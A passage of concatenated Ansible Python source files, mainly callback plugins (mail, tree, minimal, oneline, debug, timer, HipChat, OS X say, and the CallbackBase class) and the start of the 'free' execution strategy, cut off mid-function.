            body = 'An error occurred for host ' + host + ' with the following message:\n\n' + res
        else:
            subject = 'Unreachable: %s' % res['msg'].strip('\r\n').split('\n')[0]
            body = 'An error occurred for host ' + host + ' with the following message:\n\n' + \
                   res['msg'] + '\n\nA complete dump of the error:\n\n' + str(res)
        mail(sender=sender, subject=subject, body=body)

    def v2_runner_on_async_failed(self, result):

        host = result._host.get_name()
        res = result._result

        sender = '"Ansible: %s" <root>' % host
        if isinstance(res, string_types):
            subject = 'Async failure: %s' % res.strip('\r\n').split('\n')[-1]
            body = 'An error occurred for host ' + host + ' with the following message:\n\n' + res
        else:
            subject = 'Async failure: %s' % res['msg'].strip('\r\n').split('\n')[0]
            body = 'An error occurred for host ' + host + ' with the following message:\n\n' + \
                   res['msg'] + '\n\nA complete dump of the error:\n\n' + str(res)
        mail(sender=sender, subject=subject, body=body)






# (c) 2012-2014, Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.plugins.callback import CallbackBase
from ansible.utils.path import makedirs_safe
from ansible.utils.unicode import to_bytes
from ansible.constants import TREE_DIR


class CallbackModule(CallbackBase):
    '''
    This callback puts results into a host specific file in a directory in json format.
    '''

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'aggregate'
    CALLBACK_NAME = 'tree'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):
        super(CallbackModule, self).__init__()

        self.tree = TREE_DIR
        if not self.tree:
            self.tree = os.path.expanduser("~/.ansible/tree")
            self._display.warning("The tree callback is defaulting to ~/.ansible/tree, as an invalid directory was provided: %s" % self.tree)

    def write_tree_file(self, hostname, buf):
        ''' write something into treedir/hostname '''

        buf = to_bytes(buf)
        try:
            makedirs_safe(self.tree)
            path = os.path.join(self.tree, hostname)
            with open(path, 'wb+') as fd:
                fd.write(buf)
        except (OSError, IOError) as e:
            self._display.warning("Unable to write to %s's file: %s" % (hostname, str(e)))

    def result_to_tree(self, result):
        if self.tree:
            self.write_tree_file(result._host.get_name(), self._dump_results(result._result))

    def v2_runner_on_ok(self, result):
        self.result_to_tree(result)

    def v2_runner_on_failed(self, result, ignore_errors=False):
        self.result_to_tree(result)

    def v2_runner_on_unreachable(self, result):
        self.result_to_tree(result)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json
import difflib
import warnings
from copy import deepcopy

from ansible.compat.six import string_types

from ansible import constants as C
from ansible.vars import strip_internal_keys
from ansible.utils.color import stringc
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display as global_display
except ImportError:
    from ansible.utils.display import Display
    global_display = Display()

__all__ = ["CallbackBase"]

try:
    from __main__ import cli
except ImportError:
    # using API w/o cli 
    cli = False

class CallbackBase:

    '''
    This is a base ansible callback class that does nothing. New callbacks should
    use this class as a base and override any callback methods they wish to execute
    custom actions.
    '''

    def __init__(self, display=None):
        if display:
            self._display = display
        else:
            self._display = global_display

        if cli:
            self._options = cli.options
        else:
            self._options = None

        if self._display.verbosity >= 4:
            name = getattr(self, 'CALLBACK_NAME', 'unnamed')
            ctype = getattr(self, 'CALLBACK_TYPE', 'old')
            version = getattr(self, 'CALLBACK_VERSION', '1.0')
            self._display.vvvv('Loading callback plugin %s of type %s, v%s from %s' % (name, ctype, version, __file__))

    ''' helper for callbacks, so they don't all have to include deepcopy '''
    _copy_result = deepcopy

    def _copy_result_exclude(self, result, exclude):
        values = []
        for e in exclude:
            values.append(getattr(result, e))
            setattr(result, e, None)

        result_copy = deepcopy(result)
        for i,e in enumerate(exclude):
            setattr(result, e, values[i])

        return result_copy

    def _dump_results(self, result, indent=None, sort_keys=True, keep_invocation=False):
        if result.get('_ansible_no_log', False):
            return json.dumps(dict(censored="the output has been hidden due to the fact that 'no_log: true' was specified for this result"))

        if not indent and (result.get('_ansible_verbose_always') or self._display.verbosity > 2):
            indent = 4

        # All result keys stating with _ansible_ are internal, so remove them from the result before we output anything.
        abridged_result = strip_internal_keys(result)

        # remove invocation unless specifically wanting it
        if not keep_invocation and self._display.verbosity < 3 and 'invocation' in result:
            del abridged_result['invocation']

        # remove diff information from screen output
        if self._display.verbosity < 3 and 'diff' in result:
            del abridged_result['diff']

        # remove exception from screen output
        if 'exception' in abridged_result:
            del abridged_result['exception']

        return json.dumps(abridged_result, indent=indent, ensure_ascii=False, sort_keys=sort_keys)

    def _handle_warnings(self, res):
        ''' display warnings, if enabled and any exist in the result '''
        if C.COMMAND_WARNINGS and 'warnings' in res and res['warnings']:
            for warning in res['warnings']:
                self._display.warning(warning)

    def _get_diff(self, difflist):

        if not isinstance(difflist, list):
            difflist = [difflist]

        ret = []
        for diff in difflist:
            try:
                with warnings.catch_warnings():
                    warnings.simplefilter('ignore')
                    if 'dst_binary' in diff:
                        ret.append("diff skipped: destination file appears to be binary\n")
                    if 'src_binary' in diff:
                        ret.append("diff skipped: source file appears to be binary\n")
                    if 'dst_larger' in diff:
                        ret.append("diff skipped: destination file size is greater than %d\n" % diff['dst_larger'])
                    if 'src_larger' in diff:
                        ret.append("diff skipped: source file size is greater than %d\n" % diff['src_larger'])
                    if 'before' in diff and 'after' in diff:
                        # format complex structures into 'files'
                        for x in ['before', 'after']:
                            if isinstance(diff[x], dict):
                                diff[x] = json.dumps(diff[x], sort_keys=True, indent=4)
                        if 'before_header' in diff:
                            before_header = "before: %s" % diff['before_header']
                        else:
                            before_header = 'before'
                        if 'after_header' in diff:
                            after_header = "after: %s" % diff['after_header']
                        else:
                            after_header = 'after'
                        differ = difflib.unified_diff(to_unicode(diff['before']).splitlines(True),
                                                      to_unicode(diff['after']).splitlines(True),
                                                      fromfile=before_header,
                                                      tofile=after_header,
                                                      fromfiledate='',
                                                      tofiledate='',
                                                      n=C.DIFF_CONTEXT)
                        has_diff = False
                        for line in differ:
                            has_diff = True
                            if line.startswith('+'):
                                line = stringc(line, C.COLOR_DIFF_ADD)
                            elif line.startswith('-'):
                                line = stringc(line, C.COLOR_DIFF_REMOVE)
                            elif line.startswith('@@'):
                                line = stringc(line, C.COLOR_DIFF_LINES)
                            ret.append(line)
                        if has_diff:
                            ret.append('\n')
                    if 'prepared' in diff:
                        ret.append(to_unicode(diff['prepared']))
            except UnicodeDecodeError:
                ret.append(">> the files are different, but the diff library cannot compare unicode strings\n\n")
        return u''.join(ret)

    def _get_item(self, result):
        if result.get('_ansible_no_log', False):
            item = "(censored due to no_log)"
        else:
            item = result.get('item', None)

        return item

    def _process_items(self, result):
        # just remove them as now they get handled by individual callbacks
        del result._result['results']

    def _clean_results(self, result, task_name):
        if 'changed' in result and task_name in ['debug']:
            del result['changed']
        if 'invocation' in result and task_name in ['debug']:
            del result['invocation']

    def set_play_context(self, play_context):
        pass

    def on_any(self, *args, **kwargs):
        pass

    def runner_on_failed(self, host, res, ignore_errors=False):
        pass

    def runner_on_ok(self, host, res):
        pass

    def runner_on_skipped(self, host, item=None):
        pass

    def runner_on_unreachable(self, host, res):
        pass

    def runner_on_no_hosts(self):
        pass

    def runner_on_async_poll(self, host, res, jid, clock):
        pass

    def runner_on_async_ok(self, host, res, jid):
        pass

    def runner_on_async_failed(self, host, res, jid):
        pass

    def playbook_on_start(self):
        pass

    def playbook_on_notify(self, host, handler):
        pass

    def playbook_on_no_hosts_matched(self):
        pass

    def playbook_on_no_hosts_remaining(self):
        pass

    def playbook_on_task_start(self, name, is_conditional):
        pass

    def playbook_on_vars_prompt(self, varname, private=True, prompt=None, encrypt=None, confirm=False, salt_size=None, salt=None, default=None):
        pass

    def playbook_on_setup(self):
        pass

    def playbook_on_import_for_host(self, host, imported_file):
        pass

    def playbook_on_not_import_for_host(self, host, missing_file):
        pass

    def playbook_on_play_start(self, name):
        pass

    def playbook_on_stats(self, stats):
        pass

    def on_file_diff(self, host, diff):
        pass

    ####### V2 METHODS, by default they call v1 counterparts if possible ######
    def v2_on_any(self, *args, **kwargs):
        self.on_any(args, kwargs)

    def v2_runner_on_failed(self, result, ignore_errors=False):
        host = result._host.get_name()
        self.runner_on_failed(host, result._result, ignore_errors)

    def v2_runner_on_ok(self, result):
        host = result._host.get_name()
        self.runner_on_ok(host, result._result)

    def v2_runner_on_skipped(self, result):
        if C.DISPLAY_SKIPPED_HOSTS:
            host = result._host.get_name()
            self.runner_on_skipped(host, self._get_item(getattr(result._result,'results',{})))

    def v2_runner_on_unreachable(self, result):
        host = result._host.get_name()
        self.runner_on_unreachable(host, result._result)

    def v2_runner_on_no_hosts(self, task):
        self.runner_on_no_hosts()

    def v2_runner_on_async_poll(self, result):
        host = result._host.get_name()
        jid = result._result.get('ansible_job_id')
        #FIXME, get real clock
        clock = 0
        self.runner_on_async_poll(host, result._result, jid, clock)

    def v2_runner_on_async_ok(self, result):
        host = result._host.get_name()
        jid = result._result.get('ansible_job_id')
        self.runner_on_async_ok(host, result._result, jid)

    def v2_runner_on_async_failed(self, result):
        host = result._host.get_name()
        jid = result._result.get('ansible_job_id')
        self.runner_on_async_failed(host, result._result, jid)

    def v2_runner_on_file_diff(self, result, diff):
        pass #no v1 correspondance

    def v2_playbook_on_start(self, playbook):
        self.playbook_on_start()

    def v2_playbook_on_notify(self, result, handler):
        host = result._host.get_name()
        self.playbook_on_notify(host, handler)

    def v2_playbook_on_no_hosts_matched(self):
        self.playbook_on_no_hosts_matched()

    def v2_playbook_on_no_hosts_remaining(self):
        self.playbook_on_no_hosts_remaining()

    def v2_playbook_on_task_start(self, task, is_conditional):
        self.playbook_on_task_start(task.name, is_conditional)

    def v2_playbook_on_cleanup_task_start(self, task):
        pass #no v1 correspondance

    def v2_playbook_on_handler_task_start(self, task):
        pass #no v1 correspondance

    def v2_playbook_on_vars_prompt(self, varname, private=True, prompt=None, encrypt=None, confirm=False, salt_size=None, salt=None, default=None):
        self.playbook_on_vars_prompt(varname, private, prompt, encrypt, confirm, salt_size, salt, default)

    def v2_playbook_on_setup(self):
        self.playbook_on_setup()

    def v2_playbook_on_import_for_host(self, result, imported_file):
        host = result._host.get_name()
        self.playbook_on_import_for_host(host, imported_file)

    def v2_playbook_on_not_import_for_host(self, result, missing_file):
        host = result._host.get_name()
        self.playbook_on_not_import_for_host(host, missing_file)

    def v2_playbook_on_play_start(self, play):
        self.playbook_on_play_start(play.name)

    def v2_playbook_on_stats(self, stats):
        self.playbook_on_stats(stats)

    def v2_on_file_diff(self, result):
        if 'diff' in result._result:
            host = result._host.get_name()
            self.on_file_diff(host, result._result['diff'])

    def v2_playbook_on_include(self, included_file):
        pass #no v1 correspondance

    def v2_runner_item_on_ok(self, result):
        pass

    def v2_runner_item_on_failed(self, result):
        pass

    def v2_runner_item_on_skipped(self, result):
        pass

    def v2_runner_retry(self, result):
        pass







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.callback import CallbackBase
from ansible import constants as C


class CallbackModule(CallbackBase):

    '''
    This is the default callback interface, which simply prints messages
    to stdout when new callback events are received.
    '''

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'minimal'

    def _command_generic_msg(self, host, result, caption):
        ''' output the result of a command run '''

        buf = "%s | %s | rc=%s >>\n" % (host, caption, result.get('rc',0))
        buf += result.get('stdout','')
        buf += result.get('stderr','')
        buf += result.get('msg','')

        return buf + "\n"

    def v2_runner_on_failed(self, result, ignore_errors=False):
        if 'exception' in result._result:
            if self._display.verbosity < 3:
                # extract just the actual error message from the exception text
                error = result._result['exception'].strip().split('\n')[-1]
                msg = "An exception occurred during task execution. To see the full traceback, use -vvv. The error was: %s" % error
            else:
                msg = "An exception occurred during task execution. The full traceback is:\n" + result._result['exception']

            self._display.display(msg, color=C.COLOR_ERROR)

        if result._task.action in C.MODULE_NO_JSON:
            self._display.display(self._command_generic_msg(result._host.get_name(), result._result, "FAILED"), color=C.COLOR_ERROR)
        else:
            self._display.display("%s | FAILED! => %s" % (result._host.get_name(), self._dump_results(result._result, indent=4)), color=C.COLOR_ERROR)

    def v2_runner_on_ok(self, result):
        self._clean_results(result._result, result._task.action)
        if result._task.action in C.MODULE_NO_JSON:
            self._display.display(self._command_generic_msg(result._host.get_name(), result._result, "SUCCESS"), color=C.COLOR_OK)
        else:
            if 'changed' in result._result and result._result['changed']:
                self._display.display("%s | SUCCESS => %s" % (result._host.get_name(), self._dump_results(result._result, indent=4)), color=C.COLOR_CHANGED)
            else:
                self._display.display("%s | SUCCESS => %s" % (result._host.get_name(), self._dump_results(result._result, indent=4)), color=C.COLOR_OK)
            self._handle_warnings(result._result)

    def v2_runner_on_skipped(self, result):
        self._display.display("%s | SKIPPED" % (result._host.get_name()), color=C.COLOR_SKIP)

    def v2_runner_on_unreachable(self, result):
        self._display.display("%s | UNREACHABLE! => %s" % (result._host.get_name(), self._dump_results(result._result, indent=4)), color=C.COLOR_UNREACHABLE)

    def v2_on_file_diff(self, result):
        if 'diff' in result._result and result._result['diff']:
            self._display.display(self._get_diff(result._result['diff']))






# (C) 2012, Michael DeHaan, <michael.dehaan@gmail.com>

# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.callback import CallbackBase

class CallbackModule(CallbackBase):
    """
    This is a very trivial example of how any callback function can get at play and task objects.
    play will be 'None' for runner invocations, and task will be None for 'setup' invocations.
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'aggregate'
    CALLBACK_NAME = 'context_demo'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self, *args, **kwargs):
        self.task = None
        self.play = None

    def v2_on_any(self, *args, **kwargs):
        i = 0
        if self.play:
            play_str = 'play: %s' % self.play.name
        if self.task:
            task_str = 'task: %s' % self.task
        self._display.display("--- %s %s ---" % (self.play_str, self.task_str))

        self._display.display("     --- ARGS ")
        for a in args:
            self._display.display('     %s: %s' % (i, a))
            i += 1

        self._display.display("      --- KWARGS ")
        for k in kwargs:
            self._display.display('     %s: %s' % (k, kwargs[k]))

    def v2_playbook_on_play_start(self, play):
        self.play = play

    def v2_playbook_on_task_start(self, task, is_conditional):
        self.task = task






# (C) 2014, Matt Martz <matt@sivel.net>

# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import urllib

try:
    import prettytable
    HAS_PRETTYTABLE = True
except ImportError:
    HAS_PRETTYTABLE = False

from ansible.plugins.callback import CallbackBase
from ansible.module_utils.urls import open_url


class CallbackModule(CallbackBase):
    """This is an example ansible callback plugin that sends status
    updates to a HipChat channel during playbook execution.

    This plugin makes use of the following environment variables:
        HIPCHAT_TOKEN (required): HipChat API token
        HIPCHAT_ROOM  (optional): HipChat room to post in. Default: ansible
        HIPCHAT_FROM  (optional): Name to post as. Default: ansible
        HIPCHAT_NOTIFY (optional): Add notify flag to important messages ("true" or "false"). Default: true

    Requires:
        prettytable

    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'notification'
    CALLBACK_NAME = 'hipchat'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):

        super(CallbackModule, self).__init__()

        if not HAS_PRETTYTABLE:
            self.disabled = True
            self._display.warning('The `prettytable` python module is not installed. '
                          'Disabling the HipChat callback plugin.')

        self.msg_uri = 'https://api.hipchat.com/v1/rooms/message'
        self.token = os.getenv('HIPCHAT_TOKEN')
        self.room = os.getenv('HIPCHAT_ROOM', 'ansible')
        self.from_name = os.getenv('HIPCHAT_FROM', 'ansible')
        self.allow_notify = (os.getenv('HIPCHAT_NOTIFY') != 'false')

        if self.token is None:
            self.disabled = True
            self._display.warning('HipChat token could not be loaded. The HipChat '
                          'token can be provided using the `HIPCHAT_TOKEN` '
                          'environment variable.')

        self.printed_playbook = False
        self.playbook_name = None
        self.play = None

    def send_msg(self, msg, msg_format='text', color='yellow', notify=False):
        """Method for sending a message to HipChat"""

        params = {}
        params['room_id'] = self.room
        params['from'] = self.from_name[:15]  # max length is 15
        params['message'] = msg
        params['message_format'] = msg_format
        params['color'] = color
        params['notify'] = int(self.allow_notify and notify)

        url = ('%s?auth_token=%s' % (self.msg_uri, self.token))
        try:
            response = open_url(url, data=urllib.urlencode(params))
            return response.read()
        except:
            self._display.warning('Could not submit message to hipchat')

    def v2_playbook_on_play_start(self, play):
        """Display Playbook and play start messages"""

        self.play = play
        name = play.name
        # This block sends information about a playbook when it starts
        # The playbook object is not immediately available at
        # playbook_on_start so we grab it via the play
        #
        # Displays info about playbook being started by a person on an
        # inventory, as well as Tags, Skip Tags and Limits
        if not self.printed_playbook:
            self.playbook_name, _ = os.path.splitext(
                os.path.basename(self.play.playbook.filename))
            host_list = self.play.playbook.inventory.host_list
            inventory = os.path.basename(os.path.realpath(host_list))
            self.send_msg("%s: Playbook initiated by %s against %s" %
                          (self.playbook_name,
                           self.play.playbook.remote_user,
                           inventory), notify=True)
            self.printed_playbook = True
            subset = self.play.playbook.inventory._subset
            skip_tags = self.play.playbook.skip_tags
            self.send_msg("%s:\nTags: %s\nSkip Tags: %s\nLimit: %s" %
                          (self.playbook_name,
                           ', '.join(self.play.playbook.only_tags),
                           ', '.join(skip_tags) if skip_tags else None,
                           ', '.join(subset) if subset else subset))

        # This is where we actually say we are starting a play
        self.send_msg("%s: Starting play: %s" %
                      (self.playbook_name, name))

    def playbook_on_stats(self, stats):
        """Display info about playbook statistics"""
        hosts = sorted(stats.processed.keys())

        t = prettytable.PrettyTable(['Host', 'Ok', 'Changed', 'Unreachable',
                                     'Failures'])

        failures = False
        unreachable = False

        for h in hosts:
            s = stats.summarize(h)

            if s['failures'] > 0:
                failures = True
            if s['unreachable'] > 0:
                unreachable = True

            t.add_row([h] + [s[k] for k in ['ok', 'changed', 'unreachable',
                                            'failures']])

        self.send_msg("%s: Playbook complete" % self.playbook_name,
                      notify=True)

        if failures or unreachable:
            color = 'red'
            self.send_msg("%s: Failures detected" % self.playbook_name,
                          color=color, notify=True)
        else:
            color = 'green'

        self.send_msg("/code %s:\n%s" % (self.playbook_name, t), color=color)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.callback import CallbackBase
from ansible import constants as C


class CallbackModule(CallbackBase):

    '''
    This is the default callback interface, which simply prints messages
    to stdout when new callback events are received.
    '''

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'oneline'

    def _command_generic_msg(self, hostname, result,  caption):
        stdout = result.get('stdout','').replace('\n', '\\n')
        if 'stderr' in result and result['stderr']:
            stderr = result.get('stderr','').replace('\n', '\\n')
            return "%s | %s | rc=%s | (stdout) %s (stderr) %s" % (hostname, caption, result.get('rc',0), stdout, stderr)
        else:
            return "%s | %s | rc=%s | (stdout) %s" % (hostname, caption, result.get('rc',0), stdout)

    def v2_runner_on_failed(self, result, ignore_errors=False):
        if 'exception' in result._result:
            if self._display.verbosity < 3:
                # extract just the actual error message from the exception text
                error = result._result['exception'].strip().split('\n')[-1]
                msg = "An exception occurred during task execution. To see the full traceback, use -vvv. The error was: %s" % error
            else:
                msg = "An exception occurred during task execution. The full traceback is:\n" + result._result['exception'].replace('\n','')

            if result._task.action in C.MODULE_NO_JSON:
                self._display.display(self._command_generic_msg(result._host.get_name(), result._result,'FAILED'), color=C.COLOR_ERROR)
            else:
                self._display.display(msg, color=C.COLOR_ERROR)

        self._display.display("%s | FAILED! => %s" % (result._host.get_name(), self._dump_results(result._result, indent=0).replace('\n','')), color=C.COLOR_ERROR)

    def v2_runner_on_ok(self, result):
        if result._task.action in C.MODULE_NO_JSON:
            self._display.display(self._command_generic_msg(result._host.get_name(), result._result,'SUCCESS'), color=C.COLOR_OK)
        else:
            self._display.display("%s | SUCCESS => %s" % (result._host.get_name(), self._dump_results(result._result, indent=0).replace('\n','')), color=C.COLOR_OK)


    def v2_runner_on_unreachable(self, result):
        self._display.display("%s | UNREACHABLE!" % result._host.get_name(), color=C.COLOR_UNREACHABLE)

    def v2_runner_on_skipped(self, result):
        self._display.display("%s | SKIPPED" % (result._host.get_name()), color=C.COLOR_SKIP)






from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.callback.default import CallbackModule as CallbackModule_default


class CallbackModule(CallbackModule_default):  # pylint: disable=too-few-public-methods,no-init
    '''
    Override for the default callback module.

    Render std err/out outside of the rest of the result which it prints with
    indentation.
    '''
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'debug'

    def _dump_results(self, result):
        '''Return the text to output for a result.'''

        # Enable JSON identation
        result['_ansible_verbose_always'] = True

        save = {}
        for key in ['stdout', 'stdout_lines', 'stderr', 'stderr_lines', 'msg']:
            if key in result:
                save[key] = result.pop(key)

        output = CallbackModule_default._dump_results(self, result)

        for key in ['stdout', 'stderr', 'msg']:
            if key in save and save[key]:
                output += '\n\n%s:\n\n%s\n' % (key.upper(), save[key])

        for key, value in save.items():
            result[key] = value

        return output






# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from datetime import datetime

from ansible.plugins.callback import CallbackBase


class CallbackModule(CallbackBase):
    """
    This callback module tells you how long your plays ran for.
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'aggregate'
    CALLBACK_NAME = 'timer'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):

        super(CallbackModule, self).__init__()

        self.start_time = datetime.now()

    def days_hours_minutes_seconds(self, runtime):
        minutes = (runtime.seconds // 60) % 60
        r_seconds = runtime.seconds - (minutes * 60)
        return runtime.days, runtime.seconds // 3600, minutes, r_seconds

    def playbook_on_stats(self, stats):
        self.v2_playbook_on_stats(stats)

    def v2_playbook_on_stats(self, stats):
        end_time = datetime.now()
        runtime = end_time - self.start_time
        self._display.display("Playbook run took %s days, %s hours, %s minutes, %s seconds" % (self.days_hours_minutes_seconds(runtime)))







# (C) 2012, Michael DeHaan, <michael.dehaan@gmail.com>

# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import subprocess
import os

from ansible.plugins.callback import CallbackBase

FAILED_VOICE="Zarvox"
REGULAR_VOICE="Trinoids"
HAPPY_VOICE="Cellos"
LASER_VOICE="Princess"
SAY_CMD="/usr/bin/say"

class CallbackModule(CallbackBase):
    """
    makes Ansible much more exciting on OS X.
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'notification'
    CALLBACK_NAME = 'osx_say'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):

        super(CallbackModule, self).__init__()

        # plugin disable itself if say is not present
        # ansible will not call any callback if disabled is set to True
        if not os.path.exists(SAY_CMD):
            self.disabled = True
            self._display.warning("%s does not exist, plugin %s disabled" % (SAY_CMD, os.path.basename(__file__)) )

    def say(self, msg, voice):
        subprocess.call([SAY_CMD, msg, "--voice=%s" % (voice)])

    def runner_on_failed(self, host, res, ignore_errors=False):
        self.say("Failure on host %s" % host, FAILED_VOICE)

    def runner_on_ok(self, host, res):
        self.say("pew", LASER_VOICE)

    def runner_on_skipped(self, host, item=None):
        self.say("pew", LASER_VOICE)

    def runner_on_unreachable(self, host, res):
        self.say("Failure on host %s" % host, FAILED_VOICE)

    def runner_on_async_ok(self, host, res, jid):
        self.say("pew", LASER_VOICE)

    def runner_on_async_failed(self, host, res, jid):
        self.say("Failure on host %s" % host, FAILED_VOICE)

    def playbook_on_start(self):
        self.say("Running Playbook", REGULAR_VOICE)

    def playbook_on_notify(self, host, handler):
        self.say("pew", LASER_VOICE)

    def playbook_on_task_start(self, name, is_conditional):
        if not is_conditional:
            self.say("Starting task: %s" % name, REGULAR_VOICE)
        else:
            self.say("Notifying task: %s" % name, REGULAR_VOICE)

    def playbook_on_setup(self):
        self.say("Gathering facts", REGULAR_VOICE)

    def playbook_on_play_start(self, name):
        self.say("Starting play: %s" % name, HAPPY_VOICE)

    def playbook_on_stats(self, stats):
        self.say("Play complete", HAPPY_VOICE)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import time

from ansible.errors import AnsibleError
from ansible.playbook.included_file import IncludedFile
from ansible.plugins import action_loader
from ansible.plugins.strategy import StrategyBase
from ansible.template import Templar
from ansible.compat.six import text_type

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class StrategyModule(StrategyBase):

    def run(self, iterator, play_context):
        '''
        The "free" strategy is a bit more complex, in that it allows tasks to
        be sent to hosts as quickly as they can be processed. This means that
        some hosts may finish very quickly if run tasks result in little or no
        work being done versus other systems.

        The algorithm used here also tries to be more "fair" when iterating
        through hosts by remembering the last host in the list to be given a task
        and starting the search from there as opposed to the top of the hosts
        list again, which would end up favoring hosts near the beginning of the
        list.
        '''

        # the last host to be given a task
        last_host = 0

        result = True

        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            hosts_left = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
            if len(hosts_left) == 0:
                self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                result = False
                break

            work_to_do = False        # assume we have no more work to do
            starting_host = last_host # save current position so we know when we've
                                      # looped back around and need to break

            # try and find an unblocked host with a task to run
            host_results = []
            while True:
                host = hosts_left[last_host]
                display.debug("next free host: %s" % host)
                host_name = host.get_name()

                # peek at the next task for the host, to see if there's
                # anything to do do for this host
                (state, task) = iterator.get_next_task_for_host(host, peek=True)
                display.debug("free host state: %s" % state)
                display.debug("free host task: %s" % task)
                if host_name not in self._tqm._unreachable_hosts and task:

                    # set the flag so the outer loop knows we've still found
                    # some work which needs to be done
                    work_to_do = True

                    display.debug("this host has work to do")

                    # check to see if this host is blocked (still executing a previous task)
